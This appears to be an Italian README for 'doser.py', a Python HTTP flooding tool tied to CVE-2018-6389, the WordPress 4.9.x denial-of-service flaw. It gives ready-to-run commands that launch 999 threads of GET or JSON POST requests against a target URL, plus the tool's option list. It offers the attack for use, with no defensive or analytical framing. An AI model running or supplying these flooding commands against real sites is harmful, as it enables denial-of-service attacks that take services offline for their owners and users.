
CVE-2018-6389: WordPress <= 4.9.x Vulnerabilità di Denial of Service (DOS)
Strumento DoS per richieste HTTP (ispirato a hulk ma con più funzionalità) scritto in Python:
999 thread invia richieste GET:
python doser.py -t 999 -g 'https://targeted.site.com'
999 thread invia richieste POST con dati json:
python doser.py -t 999 -p 'https://targeted.site.com' -ah 'Content-Type: application/json' -d '{"json": "payload"}'
usage: doser.py [-h] [-g G] [-p P] [-d D] [-ah AH] [-t T]
argomenti opzionali:
-h, --help mostra questo messaggio di aiuto ed esce
-g Specifica richiesta GET. Utilizzo: -g '< url >'
-p Specifica richiesta POST. Utilizzo: -p '< url >'
-d Specifica il payload di dati per la richiesta POST
-ah Specifica un'intestazione aggiuntiva
-t Specifica il numero di thread da utilizzare
Riscrivere in Golang :)